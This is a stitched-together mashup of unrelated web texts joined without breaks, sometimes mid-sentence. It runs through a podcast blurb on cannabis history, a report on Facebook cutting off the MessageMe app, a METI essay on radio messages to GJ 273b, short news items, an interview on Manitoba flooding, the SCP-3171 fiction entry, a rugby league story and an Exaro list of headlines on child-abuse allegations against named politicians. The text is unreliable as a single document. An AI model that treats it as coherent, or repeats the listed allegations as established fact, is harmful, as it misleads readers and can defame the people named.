In order for anyone to like easy targets like Diamond Tiara, there has to be some impetus to drive it to happen. Whether it be a personal connection, a darker sense of humor, or a resistance to following the crowd, you have to have some reason to like what others consider unlikable. Often times, it's just a matter of seeing the target and having no desire to shoot.Watch:
Listen:
Chris Bennett is a long-standing Cannabis activist and historian. He is also the man behind Vancouver’s premiere herbal entheogen shop, Urban Shaman Ethnobotanicals. He is a prolific writer on the topics of Cannabis in politics and activism, as well as its ancient history. He is the author of Cannabis and the Soma Solution and Sex, Drugs, Violence and the Bible.
He joins us on the show to talk about the role Cannabis played in the early Abrahamic religions as the fabled Kaneh Bosm. Clearing up very old misinformation and carrying us from the historical origins of humilities relationship to Cannabis all the way the pending national legalization of Cannabis in Canada. A wealth of extremely interesting and transgressive information, Bennet has got something special Adventures Through The Mind.MessageMe, an app that launched last week and raced up the charts to the #2 spot in social networking in the U.S., is confronting Facebook’s touchiness around access to its social graph.
The app’s integration with Facebook stopped functioning earlier today (see left), the result of the company’s decision to cut MessageMe off from its “Find Friends” functionality, according to sources familiar with decision. MessageMe CEO Arjun Sethi declined to comment in this story and Facebook didn’t immediately respond to requests for comment.
The move resembles Facebook’s decision last month to shut off Voxer’s access to the graph, even though Voxer connected to Facebook for well over a year. Voxer is another communications app that supports calling and voice chat. Facebook cut the app off around the same time that it launched competing functionality with free voice calling to other users.
In that decision, Facebook cited Section 10 of its platform policy (which is the same one it’s using in MessageMe’s case):
Reciprocity and Replicating core functionality: (a) Reciprocity: Facebook Platform enables developers to build personalized, social experiences via the Graph API and related APIs. If you use any Facebook APIs to build personalized or social experiences, you must also enable people to easily share their experiences back with people on Facebook. (b) Replicating core functionality: You may not use Facebook Platform to promote, or to export user data to, a product or service that replicates a core Facebook product or service without our permission.
MessageMe apparently replicates too much of Facebook Messenger’s functionality for the company to be comfortable with it. Facebook has long been touchy about providing access to the biggest of its strategic competitors like Google and Twitter. Back in 2010, Twitter’s then-CEO Ev Williams griped about the company’s unwillingness to let Twitter users look up their Facebook friends on the service or to send Facebook updates to Twitter. In the same year, Google and Facebook had a back-and-forth over Facebook’s access to Gmail’s contact importer because the social network wouldn’t send data the other way.
But it’s only in the last year that the company has really stepped up enforcement against other startups. After cutting off Voxer last month, Facebook clarified its policy, saying that apps needed to share content back to Facebook and couldn’t replicate too much of Facebook’s core functionality. It cited the same policy in cutting off Twitter’s Vine hours after launch and Russian search engine Yandex’s app Wonder, because it replicated too much of graph search.
In MessageMe’s case, asking the company to share data back is kind of silly considering that people wouldn’t want to reveal who they message with or what they privately say.
But the effect might not be too bad on the company. Vine has thrived over the last two months and still holds the #1 social networking spot in the U.S. on the iOS app store. Voxer’s active usage appears to have stayed level in the month after Facebook cut them off.
Plus, MessageMe actually doesn’t rely on Facebook for most of its growth. It instead uses the address book, which is the same method that other big messaging apps like WhatsApp and Line have used.When the esteemed German mathematician Carl Friedrich Gauss contemplated communication with extraterrestrials at the beginning of the 19th century, targeting the moon seemed obvious. Our planet’s natural satellite provided the nearest plausible home for life beyond Earth.
The form and content of the message we could send was equally clear to Gauss. He is credited with the idea of communicating with inhabitants of the moon by clearing large swaths of the Siberian forest of its trees and in their place planting massive wheat fields in the shape of carefully arranged geometrical shapes, which would be visible from the moon. Specifically, he wanted to show Lunarians that Earthlings are familiar with the Pythagorean theorem by creating massive landscapes demonstrating that the sum of the squares of the legs of a right triangle equals the square of the hypotenuse: a2 + b2 = c2.
Nearly two centuries after Gauss’s proposal, our team has turned to him for inspiration, using math as a universal language for interstellar communication by radio.
We of course now know that our moon is inhospitable to life. But in the last two decades we have learned of the existence of planets around other stars. Some of these exoplanets orbit within their star’s “Goldilocks zone,” where it is not too hot, and not too cold, but just right to allow for the existence of liquid water—a prerequisite for life as we know it. Recently we sent a series of radio messages that included a numerical description of the Pythagorean theorem to one such exoplanet, in the hope of eliciting a response from any geometry-savvy inhabitants.
CALLING E.T.
The exoplanet is a super-Earth named GJ 273b, which orbits Luyten’s Star, a red dwarf only 12.4 light years from our solar system. It has the distinction of being the nearest known exoplanet that is potentially habitable while also being in view of the two-megawatt transmitter of the European Incoherent Scatter Scientific Association (EISCAT) in Tromsø, Norway, north of the Arctic Circle. On three successive days in mid-October 2017, a project dubbed “Sónar Calling GJ 273b” celebrated the 25th anniversary of Barcelona’s Sónar music festival with radio transmissions from EISCAT, which included a sampling of music by the festival’s artists.
To increase the intelligibility of the signals, we at METI—a research organization dedicated to Messaging Extraterrestrial Intelligence—crafted a mathematical and scientific tutorial within the transmissions. METI’s tutorial differs from earlier interstellar messages in several ways. Past messages—like the radio message transmitted from a radio telescope in Arecibo, Puerto Rico, and the Golden Record onboard NASA’s Voyager spacecraft—have attempted to be encyclopedic in scope. The downside of trying to say everything in an interstellar message is that we are communicating so much information that it may come across as an incoherent jumble. METI’s message takes the opposite approach, explaining a few essentials of math and science with greater depth and clarity.
SIMPLE STEPS TO LINK FORM AND CONTENT
In past interstellar messages, the link between the form and content of the message has been arbitrary, making decoding by any intelligent recipients all the more challenging. In METI’s tutorial, we focus on concepts we can directly demonstrate through the radio signal itself. We explain time through pulses that have a clearly defined duration—one that can be described numerically, as well as directly shown by pulses of corresponding duration. We expand into the realm of electromagnetic phenomena by discussing the fact that radio waves have specific frequencies, doing so by pointing to the two frequencies we used for the transmission itself.
Throughout, we build step-by-step from simple to more complex concepts. After counting, we introduce arithmetic. Combinations of numbers that illustrate the Pythagorean theorem let us move into trigonometry. Once we can describe the relationships between the sides of a triangle—though simple division—we can describe sine waves, and thus radio waves themselves.
In a second round of transmissions set for April 2018, we will expand our tutorial to demonstrate fundamental elements of musical melodies—by turning the transmitter into a musical instrument capable of sending signals at several different frequencies, not just two frequencies as in our first set of messages. By expanding the range of frequencies at which we can transmit, we will mimic the relationships between musical notes, which are separated from each other by specific, mathematically precise intervals. Through some basic math and physics, we will introduce aliens to human melodies.
We have gone to great pains to send messages that will come out intact after a journey of more than 70 trillion miles. On each of the three days that we transmitted in October, we sent our METI tutorial three times. This provides alien codebreakers on GJ 273b with a simple rule to deal with the inevitable errors that will creep into the message as it traverses the vast distances between the stars. The recipient only needs to recognize that the message is sent three times; line up the three versions, one on top of the other; and finally, look for any discrepancies. Whenever there is a difference between the three parts, the extraterrestrial cryptographer has a simple rule to figure out what we intended: go with whatever appears two out of three times.
KEYS TO UNDERSTANDING
Our new METI tutorial provides novel features designed to increase comprehensibility, but it is not the final word. Instead, to craft increasingly sophisticated messages in the coming years, we should learn lessons from the history of the Search for Extraterrestrial Intelligence, or SETI. In 1960 astronomer Frank Drake conducted Project Ozma, the first SETI experiment. The 1960s and 1970s saw a handful to additional searches, each relatively limited in the number of stars observed, as well as the range of frequencies. No signs of intelligence beyond Earth were detected. With the completion of each project, however, astronomers and engineers became increasingly sophisticated in developing signal processing algorithms, ruling out false alarms, and articulating a case for each of their chosen target stars.
The power of today’s SETI searches is easily a trillion times as great as that of Ozma, thanks to more sensitive antennas that can search at billions of frequencies rather than only one. But has our sophistication in creating interstellar messages increased over the same time by even a factor of 10? I doubt it.
Using as an analogy the history of SETI, in which much was learned by conducting a series of modest follow-up searches, the best way to develop increasingly sophisticated messages is to keep targeting additional stars, each getting its own distinctive message. Rather than simply replicating the messages that have been sent in the past, we should continually explore alternatives for both form and content.
An interstellar message is like a treasure chest, offered by one civilization to another with the hope it will have value. Much of this value comes after the recipient can unlock the message’s secrets. But what may seem an obvious clue to us about how to do so may be obscure to an extraterrestrial. In our future messages, we would do well to include multiple keys, each providing a unique way to open the message. These efforts may one day let intelligent extraterrestrials begin to see the universe from a truly human perspective.Thief steals Holden Commodore during racetrack demonstration at Mallala
Posted
A thief has stolen a new Holden Commodore during a company demonstration at Mallala Raceway, north of Adelaide.
Holden staff were conducting a training session with the new model Series II VF Holden Commodore SS about 11:30am when a woman drove on to the racetrack with another car with a passenger.
The male passenger was seen getting into the driver's seat of the demonstration vehicle.
Police said the keys were in the ignition of the white Commodore, which has a registration number of S-176-BIG, and the man drove out of the racetrack complex.
Witnesses detained the woman until police arrived.
The 28-year-old from Two Wells has been charged with driving while disqualified and has been bailed to appear in the Elizabeth Magistrates Court on December 3.
Police are looking for the man who is described as being Caucasian, between 20 and 30 years old, about 180 centimetres and having an average build and dark hair.
He was wearing a baseball cap, T-shirt and colourful board shorts.
Topics: crime, law-crime-and-justice, mallala-5502, saChina on track to be middle-income society by 2030 11:18 AM ET Thu, 3 Nov 2016 | 00:37
China will become a middle-class society by 2030, based on income measures, new research suggests.
The world's number-two economy is currently at an early-to-middle stage of development in terms of per capita consumption, roughly at the level of Malaysia in the 2000s, the Economist Intelligence Unit (EIU) said in a new report on Wednesday.
But as the low-income proportion of population shrinks, around three-quarters of Chinese will likely be defined as "middle income" in 15 years' time, the report said.
Almost 40 percent of the population were in the low-income bracket—defined as having an annual personal disposable income below $2,100—last year, but that number will drop to 11 percent by 2030 as people move into lower middle-income status ($2,100-$10,800 a year).
Meanwhile, the upper middle-income group ($10,800-$32,100) will expand from 7.1 percent of the population in 2015 to 19.7 percent in 2030. And high-income individuals (above $32,100), representing 2.6 percent of the population in 2015, will comprise 14.5 percent in 2030, the fastest growth rate of all income categories.AFTER debating the possibility of nuclear energy for years, the Polish government has at last come up with a scheme. On January 28th the economics ministry presented a detailed 150-page plan paving the way for the construction of two nuclear-power plants. By 2016 the sites of the two plants will be picked. Two areas close to the Baltic coast, Choczewo and Zarnowiec, are on the shortlist. Three years later construction is to begin and, by 2024, the first plant should be producing power. A state-owned energy company, PGE, will manage the project, which will cost an estimated 40 billion-60 billion zloty ($13 billion-19 billion).
The government’s adoption of the scheme is the most important step so far in preparations for the construction of the country’s first nuclear-power station, says Andrzej Bobinski at Polityka Insight, a think-tank in Warsaw. But it does not guarantee that any Polish atoms will actually be split. The scheme fails to answer two of the most important questions: how can it be financed? And how can it be made profitable? The government insists that no public money will be used to build any nuclear-power plant, so it needs to find a private company or a consortium that is willing and able to make such a huge and risky investment.
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Kai-Olaf Lang from the Stiftung Wissenschaft und Politik, a think-tank in
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of the prairie region. Given that many of the surface water management challenges in Manitoba relate to the ways boundaries of property and jurisdiction fail to align with underlying geographical patterns, it is interesting to think about how the contemporary situation might be different, had St. John’s recommendation been taken seriously.
Problem solving around floods and drainage in Manitoba continues even to this day. How are you staying involved as things progress?
I had the opportunity to give the keynote at the recent Manitoba Water Summit, a seminar focused on the problems and opportunities related to surface water management in the province. I’ve found many Manitobans quite receptive to the possibility of learning from the province’s history of flooding and drainage. I hope I can continue to take advantage of opportunities to spread the word about the particular geographic features that define the province’s surface water situation, as well as the history of local efforts to ensure security and prosperity in the face of repeated flooding.
You’re going to participate in the development of Manitoba’s new surface water strategy. What’s your role going forward?
My role is to study the decisions made by politicians, administrators, and Manitobans at large. I’ll be glad if today, in the here and now, we manage to make progress on the important issues we are facing. Recently, there has been public and scientific attention to the issue of nutrient loading and resultant algal blooms in Lake Winnipeg. These potentially dangerous blooms have a significant impact on Manitobans’ ability to use the lake in various capacities. Scientists are doing what they can to explain the processes that lead to these blooms, such as increased phosphorus throughout the Lake Winnipeg drainage basin and the role of higher Red River flows in conveying phosphorus to the lake. I think an important insight coming out of this work for Manitobans might be that the lands and waters of the province need to be managed in coordination with each other. This is, in fact, the same conclusion I’ve come to through my historical analysis of the failures and successes of flooding and drainage in the province. Manitoba’s location at the bottom of an extensive drainage basin means that the challenges to water management are particularly acute in the province. But because of this, Manitoba has an opportunity to lead in developing progressive solutions to the sorts of problems that exist, in a variety of ways, throughout the world.SCP-3171
Stalks of SCP-3171.
Item #: SCP-3171
Object Class: Safe
Special Containment Procedures: The savanna where all known instances of SCP-3171 reside is to remain under Foundation ownership. Cameras are to be hidden within the perimeter and monitored 24/7 by security guards. Thirty remotely-controlled omnidirectional speakers should be placed throughout the property.
Researchers should visit instances of SCP-3171 weekly to collect any sacs of fluid that have accumulated within the fruit-like growths at the base. Care must be taken to maintain as little physical contact as possible during this procedure, as excessive contact often leads to rudeness and irritability on the part of SCP-3171.
Description: SCP-3171 is an achlorophylous plant from the genus Hydnora. A typical instance of SCP-3171 will have stalks measuring 4-5 meters with four fruitlike growths surrounding the stalk. Lifespan ranges between 2.5-3.5 years. Each instance of SCP-3171 is sapient with intelligence roughly comparable to the average human. SCP-3171 have evolved the ability to rapidly perform mathematical calculations; researchers have observed instances multiplying 90-digit numbers in 1-2 seconds.
A closeup of the fruitlike growths at the base of each SCP-3171.
SCP-3171 communicate by opening and snapping shut the appendages out of which the fruitlike growths at the base of each plant are made. This produces a clicking sound; information is embedded into time differences between successive clicks.
SCP-3171 reproduce by releasing spores in the air. To date, the only place where these spores have taken root is the ~9,000m2 savanna on the northeast side of the Zambezi Nature Preserve. Efforts by the Foundation to grow SCP-3171 elsewhere have met with failure.
There are currently 457 known instances of SCP-3171. Different instances of SCP-3171 are referred to by attaching a number ranging between 1-457 to the SCP designation.
Discovery: SCP-3171 was discovered when Prof. Lachlan White from the University of Auckland placed an.mp3 file containing twenty hours of ambient sounds from a recent trip to the Zambezi preserve on his webpage. A statistical analysis by a student in one of Prof. White's classes detected a pseudorandom component to the pattern of audible clicks within the file. This observation was posted to a public listserv where it came to the attention of Foundation personnel. Amnestics were administered to all involved after it was determined that the pseudorandomness in question was part of an organically produced Diffie–Hellman key exchange.
A team of researchers was assembled by the Foundation and flown to Zambezi to study SCP-3171 in its natural habitat. Over the next 9 months, an automatic translation program for SCP-3171 communications was developed, as well as software for converting English text into a series of clicks comprehensible to instances of SCP-3171. Speakers were installed within the savanna where SCP-3171 resides in preparation for first contact.
Interaction Log: First contact occurred on the evening of 09/08/1997 when Dr. Auden Green, a Foundation employee who had recently completed a thesis on Icelandic verse, ignored instructions from his superiors and communicated directly with SCP-3171.
It had been previously discovered that instances of SCP-3171 spent the vast majority of their time composing something akin to poetry; this discovery led to the addition of several team members with literary backgrounds, Dr. Green among them. The poetry composed by instances of SCP-3171 typically consists of persistent repetition of a small number of words in apparently nonsensical order. When a bout of food poisoning left Dr. Green alone at the observation post, he used the opportunity to interject himself into a conversation between instances of SCP-3171 and broadcast a poem of his own creation.
+ Transcript of Dr. Green's conversation with SCP-3171. - Hide Transcript SCP-3171-234: Moon Sun Moon.
Moon Sun Moon.
Moon Moon Darkness. There is a pause lasting approximately three seconds, followed by applause. SCP-3171-446: Sun Sun Moon.
Moon Sun Sun.
Moon Darkness Moon. Another pause lasting approximately three seconds, followed by lighter applause. Dr. Green: Sun Moon Moon.
Sun Moon Moon.
Darkness Darkness Moon. There is a pause lasting approximately fifteen seconds. SCP-3171-053: That is literally the dumbest thing I’ve ever heard.
After learning of Dr. Green’s unauthorized communication, Dr. Wang (head of the linguistics team stationed at Zambezi) made a more formal attempt at an interspecies greeting.
+ Transcript of Dr. Wang's conversation with SCP-3171 - Hide Transcript Dr. Wang: We are animals. We speak your language. Dr. Wang: But we are not like the animals that roam your grounds. Like you, we have evolved intelligence. Understanding. Self-awareness.
Dr. Wang: We wish to talk. Exchange ideas. Interact. There is approximately a minute of private communications among instances of SCP-3171. SCP-3171-128: Cloud and Earth. Wind and Sun. Blue and Red. Dr. Wang: I don’t understand. Can you explain? SCP-3171-003: Violent Sunset. Peaceful Sky. Heat. Life. SCP-3171-232: Seventeen. Twenty Three. Thirty Seven. Four. Dr. Wang: I don’t understand. An additional minute is spent by instances of SCP-3171 in private conversation. SCP-3171-241: Animal, say something valuable. SCP-3171-033: Animal, tell us a poem. After a silence of approximately 15 seconds, Dr. Wang broadcasts the first stanza of Elizabeth Barrett Browning’s poem, Patience Taught by Nature. Dr. Wang: “Oh Dreary life!” we cry, “O dreary life!”
And still the generations of the birds
Sing through our sighing, and the flocks and herds
Serenely live while we are keeping strife
With Heaven’s true purpose in us, as a knife
Against which we struggle. Dr. Wang’s recitation is followed by approximately 90 seconds of silence. SCP-3171-341: Strange. Dr. Wang: Would you like to hear more? SCP-3171-341: No. SCP-3171-241: No.
For a period of roughly two years after the conversation with Dr. Wang, attempts by the Foundation to communicate with SCP-3171 were met with silence.
Foundation interest in SCP-3171 increased dramatically after discovery that fluid sacs occasionally secreted within the fruitlike growths of SCP-3171 can be used in the production of amnestics. The anatomical purpose of these secretions is unknown. Numerous messages proposing mutually beneficent trade terms were broadcast to SCP-3171 without response.
Since the Foundation's botanical experts were uncertain as to whether they could compel SCP-3171 to produce the desired fluid sacs by force, coercive approaches were temporarily ruled out. Instead, a team of internationally acclaimed poets was employed to produce works inspired by translations of SCP-3171 utterances. It was believed that SCP-3171 did not consider communication with humanity worthwhile and that the production of a poem considered meaningful by SCP-3171 would change that. However, poetry produced by this team failed to elicit any response from SCP-3171. Parallel attempts to produce poems using machine learning protocols did not fare any better.
Foundation efforts met with their first success at 3:30 AM 11/12/1999, when Mr. Cullen Williams, a junior researcher assigned to the botanical team, attempted to communicate with SCP-3171 in a state of inebriation.
+ Transcript of Mr. Williams' conversation with SCP-3171 - Hide Transcript Mr. Williams: Is this thing on? Mr. Williams is heard fumbling with the dials for the first two minutes of the recording. Mr. Williams: Yo SCPs! How's it hangin', my dawgs? Mr. Williams: Well, here I am… housesitting a fucking plant. Mr. Williams: Not what I thought I'd be doing at this point in my life. Mr. Williams: Alice is gonna to be so pissed when she finds out I'm broadcasting.
Mr. Williams giggles for approximately 10 seconds. Mr. Williams: Serves her right. Mr. Williams: Women. I sure know how to pick em. There is a pause lasting approximately 40 seconds. Mr. Williams: Thanksgiving's not that far. Mr. Williams: Can't wait to go home and leave all this bullshit for a while. Mr. Williams: I miss Frosty's. Little ice cream place across the street from where I grew up. Do you shrubs even know what ice cream is?
Mr. Williams: Probably not.
Mr. Williams: Frooooooosties! Mr. Williams giggles briefly. Mr. Williams: Ah, good times. Mr. Williams: The gunk they call ice cream here is some kind of wet slop.
Mr. Williams: Frosty's gives you a bowl. Chocolate, vanilla, caramel, espresso. I always get the biggest size to share with mom. Mr. Williams' soliloquy is interrupted by the rhythmic sound of clicking coming from over 350 instances of SCP-3171. SCP-3171-123: Disgusting. SCP-3171-403: Unconscious animal. SCP-3171-102: Whore. SCP-3171-067: [TRANSLATION ERROR].
Upon learning of this exchange the following morning, site leaders (Dr. Wang and Mr. Jackson, head of the botany division) were surprised to see approximately one-hundred attempts at private communication from instances of SCP-3171 logged during the previous night. Mr. Jackson conducted the ensuing investigation which revealed that:
Although instances of SCP-3171 share liquids via networks of interlacing root structures, in the unlikely event that one of its own spores takes root close by, an instance of SCP-3171 will refuse to share liquids with it. Exceptions to the previous item occur exceedingly rarely, and only by instances located at the far edges of the savanna disconnected from the main component of the root structure.
It is conjectured that the act of sharing sustenance with family members has the nature of a sexual taboo among SCP-3171. While all instances of SCP-3171 express disgust at the notion publicly (as when Mr. Williams mentioned sharing a bowl of ice cream with his mother), in private many of them will request to hear detailed accounts of such “incestuous” encounters by Foundation personnel.
Building on these insights, Mr. Jackson developed a protocol for one-on-one interaction with instances of SCP-3171.
+ Transcript of Mr. Jackson's private conversation with SCP-3171-213 - Hide Transcript SCP-3171-213: Have you committed incest recently? Mr. Jackson: Maybe. SCP-3171-213: Tell me. Mr. Jackson: Two sacks. SCP-3171-213: Yes. Tell me. Mr. Jackson: Changed my mind. Four sacks. SCP-3171-213: No. SCP-3171-213: Unconscious animal. There is a pause of approximately 30 seconds. SCP-3171-213: All right. Four. Tell me. Mr. Jackson: I had dinner with my sister last week.
SCP-3171-213: Oooh! Mr. Jackson: We shared a milkshake, taking turns sipping from the same straw.
SCP-3171-213: You mud-stained whore.
SCP-3171-213: I bet you always exchange fluids at first rainfall. Mr. Jackson: Indeed, that is me. Whenever it rains, I make my way around the neighborhood, fluid exchange foremost on my mind.
Mr. Jackson: In any case, the milkshake was delicious. Both I and my sister greatly enjoyed sharing it. SCP-3171-213: Aaahh! Video imagery of SCP-3171-213 shows it releasing spores coincident with the final utterance. Four sacks of fluid were collected by Mr. Jackson the following day.
As of 1/1/2015, the Foundation employs 87 personnel to interact with SCP-3171 according to Mr. Jackson's protocol, generating approximately 400 kg of SCP-3171 secretions per annum.Oct 19th, 2017
Oct 19th, 2017
Many have labelled his task as the hardest job in the NRL but Gold Coast NRL coach Garth Brennan seems to think he's already had tougher.
The man chosen to replace Neil Henry has said his 18 years in the police service equipped him with the man-management skills to handle Jarryd Hayne and turn the Titans' fortunes around.
Hayne's fractured relationship with Henry contributed to the coach's demise and the club's disastrous late-season form.
But the rookie head coach said his experience as a policeman would help earn him the respect a squad he views as competitive, and turn them into winners.
"It has made me the person I am, made me the coach I am," Brennan, who was unveiled by the club on a three-year deal on Thursday, said.
"(Being a policeman is) probably the toughest job you'll do; I've had life experiences and it helps me be that man manager because it helps you see where people come from.
"So the first thing is to get to know individual players, Jarryd's one of them.
"Footballers can smell a fraud very quickly and I think I have no problems with that."
Brennan also boasts a relationship with Ashley Taylor, the 45-year-old revealing the halfback sought him out 18 months ago to act as a mentor.
Brennan is confident of retaining the in-demand playmaker, who is off contract beyond 2018 and permitted to openly negotiate at the end of this month.
"I know Ash well and I think he's a real talent, he's a part of what's going to help us go forward and build a club around and I'm fairly confident that he's not far away from committing," Brennan said.
The ex-Penrith NSW Cup coach is highly regarded in rugby league circles and is credited with bringing through the Panthers' current batch of young stars.
The drawn-out search for a coach included interviews with Laurie Daley and Michael Maguire, as well as Broncos assistant Jason Demetriou.
"That reputation that he's built and the hunger he has for success is the hunger we found infectious and impressive," Titans boss Graham Annesley said of Brennan.
Cutting his coaching teeth with Newcastle and Penrith, Brennan said the similarities on the Gold Coast had drawn him to the job.
He wants to focus on internal player development and is mindful of protecting the club's reputation.
"Hurting the Gold Coast brand, that's a non-negotiable and when I'll come down hard on you," he said.
"I am a development coach; that's where I get my enjoyment seeing these young kids represent their home club.
"It means more to the player when they make their debut for the area they grew up in."
Pre-season begins next month, with Brennan unable to confirm if co-assistant coaches Terry Matterson and Craig Hodges would retain their posts.
©AAP2017Police are investigating former senior politicians and other prominent people over historical allegations of child sex abuse. Exaro has run a series of pieces on the issue since late 2012, as listed below.
The Metropolitan Police Service’s paedophile unit launched an investigation into activities at Elm Guest House in Barnes, south-west London, in the early 1980’s.
The Met’s investigation began after Exaro worked with a key source to pass to detectives documents that detail allegations that boys were supplied from the nearby Grafton Close children’s home, which was run by the London borough of Richmond-upon-Thames.
When the Met upgraded the case to a full criminal investigation, it became ‘Operation Fernbridge’. At that point, it was separated from ‘Operation Fairbank’, which is scoping various allegations of child sex abuse against several senior political figures.
Exaro also helped ‘Operation Fairbank’ establish that one set of allegations of indecent assault against a senior Conservative minister was false.
Exaro has also led the way on uncovering documents relating to the case of Sir Cyril Smith, the late former Liberal MP.
The common theme of the pieces below is that they raise questions about how the authorities have tackled the issue of child sex abuse. They led to a call by seven MPs for an overarching inquiry into the organised sexual abuse of children in the UK. It snowballed as nearly 150 MPs supported the inquiry call, which the government eventually granted.
Later, Exaro reported accounts from two people who alleged that they were abused as boys by the ‘Westminster paedophile network’ at Dolphin Square, the apartment complex in Pimlico where many MPs have their London homes. One of the two witnesses says that members of the paedophile network murdered three boys in separate attacks.
Exaro’s reports led the Met to set up a further investigation, ‘Operation Midland’.
Accounts from police whistleblowers, first reported by Exaro, of cover-ups for prominent paedophiles prompted a series of investigations that are being overseen by the Independent Police Complaints Commission (IPCC).
The articles are listed in reverse-chronological order.
Court 73: where UK institutions are ‘in the dock’ in CSA inquiry
Harvey Proctor in clear as Yard closes ‘Operation Midland’
CoE finds one million pages of documents about child sex abuse
Smith review finds 72 BBC-linked victims of Sir Jimmy Savile
Smith review: police unearth missing diary of TOTP girl, 15
Met was right to interview Lord Brittan over rape claim – review
Police probe ‘cover-up’ over Peter Morrison, Exaro debate hears
Janet Smith clashes with DJ ‘A7’ over abuse inquiry at BBC
Analysis: why Exaro ran disclosures from leaked Smith review
BBC knew of Savile inquiry’s findings more than a year ago
Judge’s inquiry into Jimmy Savile avoids prejudicing police cases
Janet Smith’s review: key extracts and Exaro story thread
Margaret Thatcher urged knighthood for ‘lurid’ Jimmy Savile
Janet Smith’s review: chapter 4 on society’s lack of alarm
Top of the Pops exposed by Janet Smith’s inquiry into abuse
Inquiry slams BBC over response to suicide of TOTP girl, 15
TOTP photographer took ‘porny’ pictures of girls in audience
Jimmy Savile hid abuse on Top of the Pops in ‘plain sight’
Radio 1 chief failed to see risk posed by Jimmy Savile in 1973
Janet Smith’s review: chapters 9 and 11 on TOTP and Radio 1
BBC staff to Janet Smith: we heard of Jimmy Savile’s exploits
Many of Jimmy Savile’s sexual attacks linked directly to BBC
Jim’ll Fix It sailed on despite concerns with Sir Jimmy Savile
BBC chiefs oblivious to Jimmy Savile’s damning Sun stories
BBC stars blast Jimmy Savile in damning evidence to inquiry
Janet Smith’s review: chapters 3, 5, 6, 7, 10 on ‘who knew what’
Jimmy Savile: Janet Smith’s damning review leaked to Exaro
BBC staff feared reporting Jimmy Savile’s activities to bosses
Whistleblowing at BBC ‘worse’ than in Jimmy Savile’s time
Jimmy Savile inquiry reveals BBC’s ‘kid gloves’ for its stars
Another Jimmy Savile could lurk at BBC, warns inquiry report
Janet Smith’s review: chapters 1, 2, conclusions & afterword
Lord Bramall demands apology from police over investigation
Jersey’s former deputy police chief slams island’s abuse inquiry
IPCC probes Panorama source over leaking of CSA survivors’ IDs
Exaro panel debate: ‘Did the UK cover up over child sex abuse?’
‘Jane’: witnesses should come forward despite Leon Brittan row Updated 14 December 2015
Tom Driberg MP ‘escaped prosecution for sexually abusing boys’
Police investigate 300 teachers over claims of child sex abuse
Ex-flatmates support ‘Jane’ over rape claim against Leon Brittan
How police chiefs were split over investigation into Leon Brittan
Jimmy Savile: BBC restricts Smith review’s terms of reference
BBC-commissioned study praises corporation on child protection
CSA inquiry plans to start hearings soon – after series of mishaps
Smith review ‘already avoids prejudicing ongoing police cases’
Police probe 13 more politicians over claims of child sex abuse
Mark Watts on RT’s Sputnik: BBC’s attack on abuse survivors
Met investigates Panorama source over leak of CSA survivor’s ID
Analysis: why I turned down Panorama’s interview request
Revealed: Panorama’s plans to smear survivors of child abuse
BBC seeks to delay Smith review until after renewal of charter
IPCC launches 13 more probes into paedophile ‘cover-ups’
Harvey Proctor’s ex-lover talks to Met’s ‘Operation Midland’
Police ‘betray’ CSA survivor by referring his son to social services
Analysis: why police continue to investigate claims by ‘Nick’
Police investigate senior Labour MP for ‘charging constituents’
Found: more secret files on allegations of sex offences by ‘VIPs’
Police are still sifting items seized from raid on Harvey Proctor
Harvey Proctor: ‘I am a homosexual. I am not a murderer’
German TV runs report about Britain’s ‘politician paedophiles’
Video: Esther Baker on how police have stepped up abuse case Updated 14 December 2015
Sir Edward Heath: dozen police probes across UK become one
Mark Watts returns to RT’s Sputnik: VIPs and child sex abuse
Sir Edward Heath: Met also investigates claims of child sex abuse
Ken Clarke: police assure me that they are not investigating me
Police probe second claim against Ken Clarke of sexual assault
Ben Fellows cleared of attempting to pervert course of justice
Australia’s 60 Minutes makes ‘special’ on UK’s VIP paedophiles
Video: Kincora was used for ‘political leverage’ – Richard Kerr
Richard Kerr names powerful men who ‘covered up’ Kincora
Roger Cook to testify in trial of Ben Fellows over Kenneth Clarke
Jimmy Savile: BBC fears inquiry indictment over abuse failure
Lord Janner charged with child sex abuse in reversal for DPP
Mark Watts tells RT’s Sputnik about ‘Britain’s biggest scandal’
Police raided this former officer in ‘cover-up’ for Lord Janner
Police seized abuse evidence to protect Lord Janner – ex-officer
Detectives told me all about Lord Janner and boys – ex-officer
Commentary: my frustration over rape probe into Leon Brittan
CPS refuses to advise police on rape case against Leon Brittan
How CPS treated late Lord Brittan differently from Arnis Zalkalns
Police quiz paedophile Charles Napier in prison over new claims
Inquiry into child sex abuse to hire 21 barristers in ‘lawyer-fest’
Mark Watts joins LBC Newsmakers to discuss VIP paedophiles
Revealed: how Lord Janner lobbied for Israel as backbench MP
Kincora staff took boys to Europa for sexual abuse by guests
Richard Kerr: how I was trafficked from Kincora to Europa hotel
Richard Kerr: how Kincora warden fixed a job for me at Europa
Three women name former MP as sexual abuser of children
Former MP in police probe denies claims of child sex abuse
Vishal Mehrotra: Sussex Police refers its murder probe to IPCC
Police investigate 76 politicians over claims of child sex abuse
Online Media Awards shortlists Exaro with three nominations
Lord Janner re-appointed to law committee despite ‘dementia’
Richard Kerr: ex-judge sexually abused me at Elm Guest House
Lord Janner voted 203 times in Parliament despite ‘dementia’
Lord Janner’s voting record since granting power of attorney
Lord Janner’s parliamentary attendance since ‘Alzheimer’s’
New Parliament: DPP has it wrong on Lord Janner, say 78 MPs
Lord Janner: DPP faces fresh doubts about medical evidence
Pressure builds on DPP to re-think block on Lord Janner case
Met probes ex-MP Lord Janner over ‘VIP paedophile network’
Police reveal fury with CPS for refusing to charge Lord Janner
World’s media focus on scandal of child sex abuse by UK VIPs
Carole Kasir ‘boasted about VIPs who visited Elm Guest House’
Carole Kasir’s past: fractious family life and failed relationships
Revealed: Carole Kasir and her squalid life at Elm Guest House
BBC at war over Panorama on claims of VIP paedophile network
Ministers block move to lift Official Secrets Act for CSA scandal
How MPs voted on move to change Official Secrets Act over CSA
Leon Brittan: IPCC investigates claim of ‘cover-up’ for top Tory Updated 27 March 2015
Scotland Yard’s ‘charge sheet’ for cover-up on ‘VIP paedophiles’
Police see Pimlico property as key to ‘paedophile murder’ case
Press Awards nominates Exaro and Sunday People jointly Updated 10 March 2015
Police raid Leon Brittan’s properties in London and Yorkshire Updated 15 January 2016
Harvey Proctor denies attending Dolphin Square ‘sex parties’ Updated 18 June 2015
Police raid Harvey Proctor’s home under ‘Operation Midland’
Met opens new probe into Tony McSweeney and Grafton Close Updated 27 March 2015
Tony McSweeney found guilty of abusing boy at Grafton Close
Peter Hayman and John Henniker linked to paedophile scandal
Paedophile linchpin Peter Righton ‘carried out sadistic murder’ Updated 14 December 2015
